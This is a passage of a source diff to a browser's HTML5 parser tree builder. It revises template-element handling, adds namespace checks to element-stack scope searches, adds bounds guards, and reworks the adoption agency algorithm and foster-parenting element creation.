- mode = NS_HTML5TREE_BUILDER_TEXT;
- tokenizer->setStateAndEndTagExpectation(NS_HTML5TOKENIZER_RCDATA, elementName);
+ startTagTitleInHead(elementName, attributes);
attributes = nullptr;
NS_HTML5_BREAK(starttagloop);
}
@@ -1665,11 +1705,6 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
attributes = nullptr;
NS_HTML5_BREAK(starttagloop);
}
- case NS_HTML5TREE_BUILDER_TEMPLATE: {
- startTagTemplateInHead(elementName, attributes);
- attributes = nullptr;
- NS_HTML5_BREAK(starttagloop);
- }
default:
; // fall through
}
@@ -1773,15 +1808,16 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
attributes = nullptr;
NS_HTML5_BREAK(starttagloop);
}
- case NS_HTML5TREE_BUILDER_BASE: {
+ case NS_HTML5TREE_BUILDER_TEMPLATE: {
errFooBetweenHeadAndBody(name);
pushHeadPointerOntoStack();
- appendVoidElementToCurrentMayFoster(elementName, attributes);
- selfClosing = false;
- pop();
+ nsHtml5StackNode* headOnStack = stack[currentPtr];
+ startTagTemplateInHead(elementName, attributes);
+ removeFromStack(headOnStack);
attributes = nullptr;
NS_HTML5_BREAK(starttagloop);
}
+ case NS_HTML5TREE_BUILDER_BASE:
case NS_HTML5TREE_BUILDER_LINK_OR_BASEFONT_OR_BGSOUND: {
errFooBetweenHeadAndBody(name);
pushHeadPointerOntoStack();
@@ -1872,7 +1908,7 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
NS_HTML5_BREAK(starttagloop);
}
case NS_HTML5TREE_BUILDER_NOFRAMES: {
- startTagScriptInHead(elementName, attributes);
+ startTagGenericRawText(elementName, attributes);
attributes = nullptr;
NS_HTML5_BREAK(starttagloop);
}
@@ -1892,12 +1928,21 @@ nsHtml5TreeBuilder::startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttribu
if (selfClosing) {
errSelfClosing();
}
- if (attributes != nsHtml5HtmlAttributes::EMPTY_ATTRIBUTES) {
+ if (!mBuilder && attributes != nsHtml5HtmlAttributes::EMPTY_ATTRIBUTES) {
delete attributes;
}
}
void
+nsHtml5TreeBuilder::startTagTitleInHead(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes)
+{
+ appendToCurrentNodeAndPushElementMayFoster(elementName, attributes);
+ originalMode = mode;
+ mode = NS_HTML5TREE_BUILDER_TEXT;
+ tokenizer->setStateAndEndTagExpectation(NS_HTML5TOKENIZER_RCDATA, elementName);
+}
+
+void
nsHtml5TreeBuilder::startTagGenericRawText(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes)
{
appendToCurrentNodeAndPushElementMayFoster(elementName, attributes);
@@ -1918,11 +1963,12 @@ nsHtml5TreeBuilder::startTagScriptInHead(nsHtml5ElementName* elementName, nsHtml
void
nsHtml5TreeBuilder::startTagTemplateInHead(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes)
{
- insertMarker();
appendToCurrentNodeAndPushElement(elementName, attributes);
+ insertMarker();
+ framesetOk = false;
originalMode = mode;
- mode = NS_HTML5TREE_BUILDER_TEMPLATE_CONTENTS;
- pushTemplateMode(NS_HTML5TREE_BUILDER_TEMPLATE_CONTENTS);
+ mode = NS_HTML5TREE_BUILDER_IN_TEMPLATE;
+ pushTemplateMode(NS_HTML5TREE_BUILDER_IN_TEMPLATE);
}
bool
@@ -1932,6 +1978,12 @@ nsHtml5TreeBuilder::isTemplateContents()
}
bool
+nsHtml5TreeBuilder::isTemplateModeStackEmpty()
+{
+ return templateModePtr == -1;
+}
+
+bool
nsHtml5TreeBuilder::isSpecialParentInForeign(nsHtml5StackNode* stackNode)
{
int32_t ns = stackNode->ns;
@@ -1944,9 +1996,9 @@ nsHtml5TreeBuilder::extractCharsetFromContent(nsString* attributeValue)
int32_t charsetState = NS_HTML5TREE_BUILDER_CHARSET_INITIAL;
int32_t start = -1;
int32_t end = -1;
- autoJArray<PRUnichar,int32_t> buffer = nsHtml5Portability::newCharArrayFromString(attributeValue);
+ autoJArray<char16_t,int32_t> buffer = nsHtml5Portability::newCharArrayFromString(attributeValue);
for (int32_t i = 0; i < buffer.length; i++) {
- PRUnichar c = buffer[i];
+ char16_t c = buffer[i];
switch(charsetState) {
case NS_HTML5TREE_BUILDER_CHARSET_INITIAL: {
switch(c) {
@@ -2170,10 +2222,18 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
for (; ; ) {
if (isInForeign()) {
if (stack[currentPtr]->name != name) {
- errEndTagDidNotMatchCurrentOpenElement(name, stack[currentPtr]->popName);
+ if (!currentPtr) {
+ errStrayEndTag(name);
+ } else {
+ errEndTagDidNotMatchCurrentOpenElement(name, stack[currentPtr]->popName);
+ }
}
eltPos = currentPtr;
for (; ; ) {
+ if (!eltPos) {
+ MOZ_ASSERT(fragment, "We can get this close to the root of the stack in foreign content only in the fragment case.");
+ NS_HTML5_BREAK(endtagloop);
+ }
if (stack[eltPos]->name == name) {
while (currentPtr >= eltPos) {
pop();
@@ -2186,7 +2246,7 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
}
}
switch(mode) {
- case NS_HTML5TREE_BUILDER_TEMPLATE_CONTENTS: {
+ case NS_HTML5TREE_BUILDER_IN_TEMPLATE: {
switch(group) {
case NS_HTML5TREE_BUILDER_TEMPLATE: {
break;
@@ -2434,6 +2494,7 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
case NS_HTML5TREE_BUILDER_OPTGROUP:
case NS_HTML5TREE_BUILDER_OPTION:
case NS_HTML5TREE_BUILDER_P:
+ case NS_HTML5TREE_BUILDER_RB_OR_RTC:
case NS_HTML5TREE_BUILDER_RT_OR_RP:
case NS_HTML5TREE_BUILDER_TD_OR_TH:
case NS_HTML5TREE_BUILDER_TBODY_OR_THEAD_OR_TFOOT: {
@@ -2462,6 +2523,8 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
case NS_HTML5TREE_BUILDER_DD_OR_DT:
case NS_HTML5TREE_BUILDER_LI:
case NS_HTML5TREE_BUILDER_P:
+ case NS_HTML5TREE_BUILDER_RB_OR_RTC:
+ case NS_HTML5TREE_BUILDER_RT_OR_RP:
case NS_HTML5TREE_BUILDER_TBODY_OR_THEAD_OR_TFOOT:
case NS_HTML5TREE_BUILDER_TD_OR_TH:
case NS_HTML5TREE_BUILDER_BODY:
@@ -2500,22 +2563,38 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
NS_HTML5_BREAK(endtagloop);
}
case NS_HTML5TREE_BUILDER_FORM: {
- if (!formPointer) {
- errStrayEndTag(name);
+ if (!isTemplateContents()) {
+ if (!formPointer) {
+ errStrayEndTag(name);
+ NS_HTML5_BREAK(endtagloop);
+ }
+ formPointer = nullptr;
+ eltPos = findLastInScope(name);
+ if (eltPos == NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK) {
+ errStrayEndTag(name);
+ NS_HTML5_BREAK(endtagloop);
+ }
+ generateImpliedEndTags();
+ if (!!MOZ_UNLIKELY(mViewSource) && !isCurrent(name)) {
+ errUnclosedElements(eltPos, name);
+ }
+ removeFromStack(eltPos);
NS_HTML5_BREAK(endtagloop);
- }
- formPointer = nullptr;
- eltPos = findLastInScope(name);
- if (eltPos == NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK) {
- errStrayEndTag(name);
+ } else {
+ eltPos = findLastInScope(name);
+ if (eltPos == NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK) {
+ errStrayEndTag(name);
+ NS_HTML5_BREAK(endtagloop);
+ }
+ generateImpliedEndTags();
+ if (!!MOZ_UNLIKELY(mViewSource) && !isCurrent(name)) {
+ errUnclosedElements(eltPos, name);
+ }
+ while (currentPtr >= eltPos) {
+ pop();
+ }
NS_HTML5_BREAK(endtagloop);
}
- generateImpliedEndTags();
- if (!!MOZ_UNLIKELY(mViewSource) && !isCurrent(name)) {
- errUnclosedElements(eltPos, name);
- }
- removeFromStack(eltPos);
- NS_HTML5_BREAK(endtagloop);
}
case NS_HTML5TREE_BUILDER_P: {
eltPos = findLastInButtonScope(nsHtml5Atoms::p);
@@ -2523,7 +2602,7 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
errNoElementToCloseButEndTagSeen(nsHtml5Atoms::p);
if (isInForeign()) {
errHtmlStartTagInForeignContext(name);
- while (stack[currentPtr]->ns != kNameSpaceID_XHTML) {
+ while (currentPtr >= 0 && stack[currentPtr]->ns != kNameSpaceID_XHTML) {
pop();
}
}
@@ -2606,7 +2685,7 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
errEndTagBr();
if (isInForeign()) {
errHtmlStartTagInForeignContext(name);
- while (stack[currentPtr]->ns != kNameSpaceID_XHTML) {
+ while (currentPtr >= 0 && stack[currentPtr]->ns != kNameSpaceID_XHTML) {
pop();
}
}
@@ -2661,7 +2740,7 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
eltPos = currentPtr;
for (; ; ) {
nsHtml5StackNode* node = stack[eltPos];
- if (node->name == name) {
+ if (node->ns == kNameSpaceID_XHTML && node->name == name) {
generateImpliedEndTags();
if (!!MOZ_UNLIKELY(mViewSource) && !isCurrent(name)) {
errUnclosedElements(eltPos, name);
@@ -2670,7 +2749,7 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
pop();
}
NS_HTML5_BREAK(endtagloop);
- } else if (node->isSpecial()) {
+ } else if (!eltPos || node->isSpecial()) {
errStrayEndTag(name);
NS_HTML5_BREAK(endtagloop);
}
@@ -2694,7 +2773,7 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
continue;
}
case NS_HTML5TREE_BUILDER_TEMPLATE: {
- endTagTemplateInHead(name);
+ endTagTemplateInHead();
NS_HTML5_BREAK(endtagloop);
}
default: {
@@ -2739,7 +2818,7 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
NS_HTML5_BREAK(endtagloop);
}
case NS_HTML5TREE_BUILDER_TEMPLATE: {
- endTagTemplateInHead(name);
+ endTagTemplateInHead();
NS_HTML5_BREAK(endtagloop);
}
default: {
@@ -2817,7 +2896,7 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
NS_HTML5_BREAK(endtagloop);
}
case NS_HTML5TREE_BUILDER_TEMPLATE: {
- endTagTemplateInHead(name);
+ endTagTemplateInHead();
NS_HTML5_BREAK(endtagloop);
}
default: {
@@ -2847,8 +2926,8 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
case NS_HTML5TREE_BUILDER_IN_FRAMESET: {
switch(group) {
case NS_HTML5TREE_BUILDER_FRAMESET: {
- if (!currentPtr || isTemplateContents()) {
- MOZ_ASSERT(fragment || isTemplateContents());
+ if (!currentPtr) {
+ MOZ_ASSERT(fragment);
errStrayEndTag(name);
NS_HTML5_BREAK(endtagloop);
}
@@ -2858,10 +2937,6 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
}
NS_HTML5_BREAK(endtagloop);
}
- case NS_HTML5TREE_BUILDER_TEMPLATE: {
- endTagTemplateInHead(name);
- NS_HTML5_BREAK(endtagloop);
- }
default: {
errStrayEndTag(name);
NS_HTML5_BREAK(endtagloop);
@@ -2920,6 +2995,10 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
}
case NS_HTML5TREE_BUILDER_AFTER_HEAD: {
switch(group) {
+ case NS_HTML5TREE_BUILDER_TEMPLATE: {
+ endTagTemplateInHead();
+ NS_HTML5_BREAK(endtagloop);
+ }
case NS_HTML5TREE_BUILDER_HTML:
case NS_HTML5TREE_BUILDER_BODY:
case NS_HTML5TREE_BUILDER_BR: {
@@ -2940,8 +3019,7 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
}
case NS_HTML5TREE_BUILDER_AFTER_AFTER_FRAMESET: {
errStrayEndTag(name);
- mode = NS_HTML5TREE_BUILDER_IN_FRAMESET;
- continue;
+ NS_HTML5_BREAK(endtagloop);
}
case NS_HTML5TREE_BUILDER_TEXT: {
pop();
@@ -2957,16 +3035,16 @@ nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
}
void
-nsHtml5TreeBuilder::endTagTemplateInHead(nsIAtom* name)
+nsHtml5TreeBuilder::endTagTemplateInHead()
{
- int32_t eltPos = findLast(name);
+ int32_t eltPos = findLast(nsHtml5Atoms::template_);
if (eltPos == NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK) {
- errStrayEndTag(name);
+ errStrayEndTag(nsHtml5Atoms::template_);
return;
}
generateImpliedEndTags();
- if (!!MOZ_UNLIKELY(mViewSource) && !isCurrent(name)) {
- errUnclosedElements(eltPos, name);
+ if (!!MOZ_UNLIKELY(mViewSource) && !isCurrent(nsHtml5Atoms::template_)) {
+ errUnclosedElements(eltPos, nsHtml5Atoms::template_);
}
while (currentPtr >= eltPos) {
pop();
@@ -2991,7 +3069,7 @@ int32_t
nsHtml5TreeBuilder::findLast(nsIAtom* name)
{
for (int32_t i = currentPtr; i > 0; i--) {
- if (stack[i]->name == name) {
+ if (stack[i]->ns == kNameSpaceID_XHTML && stack[i]->name == name) {
return i;
}
}
@@ -3002,10 +3080,12 @@ int32_t
nsHtml5TreeBuilder::findLastInTableScope(nsIAtom* name)
{
for (int32_t i = currentPtr; i > 0; i--) {
- if (stack[i]->name == name) {
- return i;
- } else if (stack[i]->name == nsHtml5Atoms::table || stack[i]->name == nsHtml5Atoms::template_) {
- return NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK;
+ if (stack[i]->ns == kNameSpaceID_XHTML) {
+ if (stack[i]->name == name) {
+ return i;
+ } else if (stack[i]->name == nsHtml5Atoms::table || stack[i]->name == nsHtml5Atoms::template_) {
+ return NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK;
+ }
}
}
return NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK;
@@ -3015,9 +3095,14 @@ int32_t
nsHtml5TreeBuilder::findLastInButtonScope(nsIAtom* name)
{
for (int32_t i = currentPtr; i > 0; i--) {
- if (stack[i]->name == name) {
- return i;
- } else if (stack[i]->isScoping() || stack[i]->name == nsHtml5Atoms::button) {
+ if (stack[i]->ns == kNameSpaceID_XHTML) {
+ if (stack[i]->name == name) {
+ return i;
+ } else if (stack[i]->name == nsHtml5Atoms::button) {
+ return NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK;
+ }
+ }
+ if (stack[i]->isScoping()) {
return NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK;
}
}
@@ -3028,7 +3113,7 @@ int32_t
nsHtml5TreeBuilder::findLastInScope(nsIAtom* name)
{
for (int32_t i = currentPtr; i > 0; i--) {
- if (stack[i]->name == name) {
+ if (stack[i]->ns == kNameSpaceID_XHTML && stack[i]->name == name) {
return i;
} else if (stack[i]->isScoping()) {
return NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK;
@@ -3041,9 +3126,14 @@ int32_t
nsHtml5TreeBuilder::findLastInListScope(nsIAtom* name)
{
for (int32_t i = currentPtr; i > 0; i--) {
- if (stack[i]->name == name) {
- return i;
- } else if (stack[i]->isScoping() || stack[i]->name == nsHtml5Atoms::ul || stack[i]->name == nsHtml5Atoms::ol) {
+ if (stack[i]->ns == kNameSpaceID_XHTML) {
+ if (stack[i]->name == name) {
+ return i;
+ } else if (stack[i]->name == nsHtml5Atoms::ul || stack[i]->name == nsHtml5Atoms::ol) {
+ return NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK;
+ }
+ }
+ if (stack[i]->isScoping()) {
return NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK;
}
}
@@ -3074,8 +3164,9 @@ nsHtml5TreeBuilder::generateImpliedEndTagsExceptFor(nsIAtom* name)
case NS_HTML5TREE_BUILDER_DD_OR_DT:
case NS_HTML5TREE_BUILDER_OPTION:
case NS_HTML5TREE_BUILDER_OPTGROUP:
+ case NS_HTML5TREE_BUILDER_RB_OR_RTC:
case NS_HTML5TREE_BUILDER_RT_OR_RP: {
- if (node->name == name) {
+ if (node->ns == kNameSpaceID_XHTML && node->name == name) {
return;
}
pop();
@@ -3098,6 +3189,7 @@ nsHtml5TreeBuilder::generateImpliedEndTags()
case NS_HTML5TREE_BUILDER_DD_OR_DT:
case NS_HTML5TREE_BUILDER_OPTION:
case NS_HTML5TREE_BUILDER_OPTGROUP:
+ case NS_HTML5TREE_BUILDER_RB_OR_RTC:
case NS_HTML5TREE_BUILDER_RT_OR_RP: {
pop();
continue;
@@ -3120,15 +3212,11 @@ nsHtml5TreeBuilder::documentModeInternal(nsHtml5DocumentMode m, nsString* public
{
if (isSrcdocDocument) {
quirks = false;
- if (this) {
- this->documentMode(STANDARDS_MODE);
- }
+ this->documentMode(STANDARDS_MODE);
return;
}
quirks = (m == QUIRKS_MODE);
- if (this) {
- this->documentMode(m);
- }
+ this->documentMode(m);
}
bool
@@ -3202,10 +3290,12 @@ nsHtml5TreeBuilder::findLastInTableScopeTdTh()
{
for (int32_t i = currentPtr; i > 0; i--) {
nsIAtom* name = stack[i]->name;
- if (nsHtml5Atoms::td == name || nsHtml5Atoms::th == name) {
- return i;
- } else if (name == nsHtml5Atoms::table || name == nsHtml5Atoms::template_) {
- return NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK;
+ if (stack[i]->ns == kNameSpaceID_XHTML) {
+ if (nsHtml5Atoms::td == name || nsHtml5Atoms::th == name) {
+ return i;
+ } else if (name == nsHtml5Atoms::table || name == nsHtml5Atoms::template_) {
+ return NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK;
+ }
}
}
return NS_HTML5TREE_BUILDER_NOT_FOUND_ON_STACK;
@@ -3216,7 +3306,7 @@ nsHtml5TreeBuilder::clearStackBackTo(int32_t eltPos)
{
int32_t eltGroup = stack[eltPos]->getGroup();
while (currentPtr > eltPos) {
- if (stack[currentPtr]->getGroup() == NS_HTML5TREE_BUILDER_TEMPLATE && (eltGroup == NS_HTML5TREE_BUILDER_TABLE || eltGroup == NS_HTML5TREE_BUILDER_TBODY_OR_THEAD_OR_TFOOT || eltGroup == NS_HTML5TREE_BUILDER_TR || !eltPos)) {
+ if (stack[currentPtr]->ns == kNameSpaceID_XHTML && stack[currentPtr]->getGroup() == NS_HTML5TREE_BUILDER_TEMPLATE && (eltGroup == NS_HTML5TREE_BUILDER_TABLE || eltGroup == NS_HTML5TREE_BUILDER_TBODY_OR_THEAD_OR_TFOOT || eltGroup == NS_HTML5TREE_BUILDER_TR || !eltPos)) {
return;
}
pop();
@@ -3235,18 +3325,29 @@ nsHtml5TreeBuilder::resetTheInsertionMode()
ns = node->ns;
if (!i) {
if (!(contextNamespace == kNameSpaceID_XHTML && (contextName == nsHtml5Atoms::td || contextName == nsHtml5Atoms::th))) {
- name = contextName;
- ns = contextNamespace;
+ if (fragment) {
+ name = contextName;
+ ns = contextNamespace;
+ }
} else {
mode = framesetOk ? NS_HTML5TREE_BUILDER_FRAMESET_OK : NS_HTML5TREE_BUILDER_IN_BODY;
return;
}
}
- if (nsHtml5Atoms::template_ == name) {
- MOZ_ASSERT(templateModePtr >= 0);
- mode = templateModeStack[templateModePtr];
- return;
- } else if (nsHtml5Atoms::select == name) {
+ if (nsHtml5Atoms::select == name) {
+ int32_t ancestorIndex = i;
+ while (ancestorIndex > 0) {
+ nsHtml5StackNode* ancestor = stack[ancestorIndex--];
+ if (kNameSpaceID_XHTML == ancestor->ns) {
+ if (nsHtml5Atoms::template_ == ancestor->name) {
+ break;
+ }
+ if (nsHtml5Atoms::table == ancestor->name) {
+ mode = NS_HTML5TREE_BUILDER_IN_SELECT_IN_TABLE;
+ return;
+ }
+ }
+ }
mode = NS_HTML5TREE_BUILDER_IN_SELECT;
return;
} else if (nsHtml5Atoms::td == name || nsHtml5Atoms::th == name) {
@@ -3270,6 +3371,10 @@ nsHtml5TreeBuilder::resetTheInsertionMode()
} else if (kNameSpaceID_XHTML != ns) {
mode = framesetOk ? NS_HTML5TREE_BUILDER_FRAMESET_OK : NS_HTML5TREE_BUILDER_IN_BODY;
return;
+ } else if (nsHtml5Atoms::template_ == name) {
+ MOZ_ASSERT(templateModePtr >= 0);
+ mode = templateModeStack[templateModePtr];
+ return;
} else if (nsHtml5Atoms::head == name) {
if (name == contextName) {
mode = framesetOk ? NS_HTML5TREE_BUILDER_FRAMESET_OK : NS_HTML5TREE_BUILDER_IN_BODY;
@@ -3442,6 +3547,10 @@ nsHtml5TreeBuilder::removeFromListOfActiveFormattingElements(int32_t pos)
bool
nsHtml5TreeBuilder::adoptionAgencyEndTag(nsIAtom* name)
{
+ if (stack[currentPtr]->ns == kNameSpaceID_XHTML && stack[currentPtr]->name == name && findInListOfActiveFormattingElements(stack[currentPtr]) == -1) {
+ pop();
+ return true;
+ }
for (int32_t i = 0; i < 8; ++i) {
int32_t formattingEltListPos = listPtr;
while (formattingEltListPos > -1) {
@@ -3484,6 +3593,7 @@ nsHtml5TreeBuilder::adoptionAgencyEndTag(nsIAtom* name)
int32_t furthestBlockPos = formattingEltStackPos + 1;
while (furthestBlockPos <= currentPtr) {
nsHtml5StackNode* node = stack[furthestBlockPos];
+ MOZ_ASSERT(furthestBlockPos > 0, "How is formattingEltStackPos + 1 not > 0?");
if (node->isSpecial()) {
break;
}
@@ -3501,10 +3611,25 @@ nsHtml5TreeBuilder::adoptionAgencyEndTag(nsIAtom* name)
int32_t bookmark = formattingEltListPos;
int32_t nodePos = furthestBlockPos;
nsHtml5StackNode* lastNode = furthestBlock;
- for (int32_t j = 0; j < 3; ++j) {
+ int32_t j = 0;
+ for (; ; ) {
+ ++j;
nodePos--;
+ if (nodePos == formattingEltStackPos) {
+ break;
+ }
nsHtml5StackNode* node = stack[nodePos];
int32_t nodeListPos = findInListOfActiveFormattingElements(node);
+ if (j > 3 && nodeListPos != -1) {
+ removeFromListOfActiveFormattingElements(nodeListPos);
+ if (nodeListPos <= formattingEltListPos) {
+ formattingEltListPos--;
+ }
+ if (nodeListPos <= bookmark) {
+ bookmark--;
+ }
+ nodeListPos = -1;
+ }
if (nodeListPos == -1) {
MOZ_ASSERT(formattingEltStackPos < nodePos);
MOZ_ASSERT(bookmark < nodePos);
@@ -3513,15 +3638,12 @@ nsHtml5TreeBuilder::adoptionAgencyEndTag(nsIAtom* name)
furthestBlockPos--;
continue;
}
- if (nodePos == formattingEltStackPos) {
- break;
- }
if (nodePos == furthestBlockPos) {
bookmark = nodeListPos + 1;
}
MOZ_ASSERT(node == listOfActiveFormattingElements[nodeListPos]);
MOZ_ASSERT(node == stack[nodePos]);
- nsIContent** clone = createElement(kNameSpaceID_XHTML, node->name, node->attributes->cloneAttributes(nullptr));
+ nsIContentHandle* clone = createElement(kNameSpaceID_XHTML, node->name, node->attributes->cloneAttributes(nullptr), commonAncestor->node);
nsHtml5StackNode* newNode = new nsHtml5StackNode(node->getFlags(), node->ns, node->name, clone, node->popName, node->attributes);
node->dropAttributes();
stack[nodePos] = newNode;
@@ -3542,7 +3664,7 @@ nsHtml5TreeBuilder::adoptionAgencyEndTag(nsIAtom* name)
detachFromParent(lastNode->node);
appendElement(lastNode->node, commonAncestor->node);
}
- nsIContent** clone = createElement(kNameSpaceID_XHTML, formattingElt->name, formattingElt->attributes->cloneAttributes(nullptr));
+ nsIContentHandle* clone = createElement(kNameSpaceID_XHTML, formattingElt->name, formattingElt->attributes->cloneAttributes(nullptr), furthestBlock->node);
nsHtml5StackNode* formattingClone = new nsHtml5StackNode(formattingElt->getFlags(), formattingElt->ns, formattingElt->name, clone, formattingElt->popName, formattingElt->attributes);
formattingElt->dropAttributes();
appendChildrenToNewParent(furthestBlock->node, clone);
@@ -3631,7 +3753,7 @@ int32_t
nsHtml5TreeBuilder::findLastOrRoot(nsIAtom* name)
{
for (int32_t i = currentPtr; i > 0; i--) {
- if (stack[i]->name == name) {
+ if (stack[i]->ns == kNameSpaceID_XHTML && stack[i]->name == name) {
return i;
}
}
@@ -3672,7 +3794,6 @@ void
nsHtml5TreeBuilder::pushHeadPointerOntoStack()
{
MOZ_ASSERT(!!headPointer);
- MOZ_ASSERT(!fragment);
MOZ_ASSERT(mode == NS_HTML5TREE_BUILDER_AFTER_HEAD);
silentPush(new nsHtml5StackNode(nsHtml5ElementName::ELT_HEAD, headPointer));
@@ -3704,15 +3825,16 @@ nsHtml5TreeBuilder::reconstructTheActiveFormattingElements()
while (entryPos < listPtr) {
entryPos++;
nsHtml5StackNode* entry = listOfActiveFormattingElements[entryPos];
- nsIContent** clone = createElement(kNameSpaceID_XHTML, entry->name, entry->attributes->cloneAttributes(nullptr));
- nsHtml5StackNode* entryClone = new nsHtml5StackNode(entry->getFlags(), entry->ns, entry->name, clone, entry->popName, entry->attributes);
- entry->dropAttributes();
nsHtml5StackNode* currentNode = stack[currentPtr];
+ nsIContentHandle* clone;
if (currentNode->isFosterParenting()) {
- insertIntoFosterParent(clone);
+ clone = createAndInsertFosterParentedElement(kNameSpaceID_XHTML, entry->name, entry->attributes->cloneAttributes(nullptr));
} else {
+ clone = createElement(kNameSpaceID_XHTML, entry->name, entry->attributes->cloneAttributes(nullptr), currentNode->node);
appendElement(clone, currentNode->node);
}
+ nsHtml5StackNode* entryClone = new nsHtml5StackNode(entry->getFlags(), entry->ns, entry->name, clone, entry->popName, entry->attributes);
+ entry->dropAttributes();
push(entryClone);
listOfActiveFormattingElements[entryPos] = entryClone;
entry->release();
@@ -3721,7 +3843,7 @@ nsHtml5TreeBuilder::reconstructTheActiveFormattingElements()
}
void
-nsHtml5TreeBuilder::insertIntoFosterParent(nsIContent** child)
+nsHtml5TreeBuilder::insertIntoFosterParent(nsIContentHandle* child)
{
int32_t tablePos = findLastOrRoot(NS_HTML5TREE_BUILDER_TABLE);
int32_t templatePos = findLastOrRoot(NS_HTML5TREE_BUILDER_TEMPLATE);
@@ -3733,6 +3855,26 @@ nsHtml5TreeBuilder::insertIntoFosterParent(nsIContent** child)
insertFosterParentedChild(child, node->node, stack[tablePos - 1]->node);
}
+nsIContentHandle*
+nsHtml5TreeBuilder::createAndInsertFosterParentedElement(int32_t ns, nsIAtom* name, nsHtml5HtmlAttributes* attributes)
+{
+ return createAndInsertFosterParentedElement(ns, name, attributes, nullptr);
+}
+
+nsIContentHandle*
+nsHtml5TreeBuilder::createAndInsertFosterParentedElement(int32_t ns, nsIAtom* name, nsHtml5HtmlAttributes* attributes, nsIContentHandle* form)
+{
+ int32_t tablePos = findLastOrRoot(NS_HTML5TREE_BUILDER_TABLE);
+ int32_t templatePos = findLastOrRoot(NS_HTML5TREE_BUILDER_TEMPLATE);
+ if (templatePos >= tablePos) {
+ nsIContentHandle* child = createElement(ns, name, attributes, form, stack[templatePos]->node);
+ appendElement(child, stack[templatePos]->node);
+ return child;
+ }
+ nsHtml5StackNode* node = stack[tablePos];
+ return createAndInsertFosterParentedElement(ns, name, attributes, form, node->node, stack[tablePos - 1]->node);
+}
+
bool
nsHtml5TreeBuilder::isInStack(nsHtml5StackNode* node)
{
@@ -3783,7 +3925,7 @@ nsHtml5TreeBuilder::popOnEof()
void
nsHtml5TreeBuilder::appendHtmlElementToDocumentAndPush(nsHtml5HtmlAttributes* attributes)
{
- nsIContent** elt = createHtmlElementSetAsRoot(attributes);
+ nsIContentHandle* elt = createHtmlElementSetAsRoot(attributes);
nsHtml5StackNode* node = new nsHtml5StackNode(nsHtml5ElementName::ELT_HTML, elt);
push(node);
}
@@ -3797,8 +3939,9 @@ nsHtml5TreeBuilder::appendHtmlElementToDocumentAndPush()
void
nsHtml5TreeBuilder::appendToCurrentNodeAndPushHeadElement(nsHtml5HtmlAttributes* attributes)
{
- nsIContent** elt = createElement(kNameSpaceID_XHTML, nsHtml5Atoms::head, attributes);
- appendElement(elt, stack[currentPtr]->node);
+ nsIContentHandle* currentNode = stack[currentPtr]->node;
+ nsIContentHandle* elt = createElement(kNameSpaceID_XHTML, nsHtml5Atoms::head, attributes, currentNode);
+ appendElement(elt, currentNode);
headPointer = elt;
nsHtml5StackNode* node = new nsHtml5StackNode(nsHtml5ElementName::ELT_HEAD, elt);
push(node);
@@ -3819,15 +3962,18 @@ nsHtml5TreeBuilder::appendToCurrentNodeAndPushBodyElement()
void
nsHtml5TreeBuilder::appendToCurrentNodeAndPushFormElementMayFoster(nsHtml5HtmlAttributes* attributes)
{
- nsIContent** elt = createElement(kNameSpaceID_XHTML, nsHtml5Atoms::form, attributes);
- formPointer = elt;
+ nsIContentHandle* elt;
nsHtml5StackNode* current = stack[currentPtr];
if (current->isFosterParenting()) {
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement(kNameSpaceID_XHTML, nsHtml5Atoms::form, attributes);
} else {
+ elt = createElement(kNameSpaceID_XHTML, nsHtml5Atoms::form, attributes, current->node);
appendElement(elt, current->node);
}
+ if (!isTemplateContents()) {
+ formPointer = elt;
+ }
nsHtml5StackNode* node = new nsHtml5StackNode(nsHtml5ElementName::ELT_FORM, elt);
push(node);
}
@@ -3835,15 +3981,17 @@ nsHtml5TreeBuilder::appendToCurrentNodeAndPushFormElementMayFoster(nsHtml5HtmlAt
void
nsHtml5TreeBuilder::appendToCurrentNodeAndPushFormattingElementMayFoster(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes)
{
- nsIContent** elt = createElement(kNameSpaceID_XHTML, elementName->name, attributes);
+ nsHtml5HtmlAttributes* clone = attributes->cloneAttributes(nullptr);
+ nsIContentHandle* elt;
